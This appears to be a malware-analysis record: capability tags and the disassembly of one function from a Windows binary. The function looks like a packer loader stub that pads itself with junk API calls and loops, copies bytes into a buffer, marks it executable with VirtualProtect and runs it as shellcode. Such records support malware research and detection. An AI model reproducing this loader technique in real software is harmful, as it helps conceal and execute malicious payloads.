Function at 0x405650
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Get file size
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x424004]
xor eax, esp
mov dword [esp + 0x38], eax
mov eax, dword [0x46bc2c]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x40568a
mov ecx, dword [0x425934]
mov dword [0x46bfb4], ecx
cmp eax, 0x3c
jne 0x405697
push ebx
call edi
mov eax, dword [0x46bc2c]
inc esi
cmp esi, 0x5f6c74
jl 0x405676
cmp eax, 0x7c
jne 0x4056de
push ebx
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
cmp eax, 0x110a
jne 0x405742
push ebx
mov dword [0x46bc20], ebx
mov dword [0x46bc24], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.pumediviyororevinayawogedo
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040104f
add esp, 0x18
push ebx
call fcn.0040137f
call fcn.00405450
xor esi, esi
cmp dword [0x46bc2c], ebx
jbe 0x40579b
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
jmp 0x405760
mov eax, dword [0x46bfb4]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
cmp dword [0x46bc2c], 0x5ab
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x46b950]
mov byte [eax + esi], dl
jne 0x405792
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x46bc2c]
jb 0x405760
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0x46bc2c]
mov eax, dword [0x46b950]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004055c0
call fcn.00405470
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea ecx, [esp + 0x1c]
push ecx
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x4057fb
cmp dword [esp + 0x24], 0xf5bed7
jne 0x405804
inc esi
cmp esi, 0x1ece7a52
jl 0x4057d8
mov edi, dword [esp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
xor esi, esi
cmp esi, 0x12e6c3
jne 0x40581d
call fcn.00405440
cmp dword [0x46bc2c], 0x3dc
mov dword [0x46b954], 0x8e46a6f0
jne 0x40584d
xor edx, edx
lea ecx, [esp + 0x18]
push ecx
push edx
push edx
push edx
push edx
mov dword [esp + 0x24], edx
call ebx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
inc esi
cmp esi, 0x1519a5
jl 0x405810
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret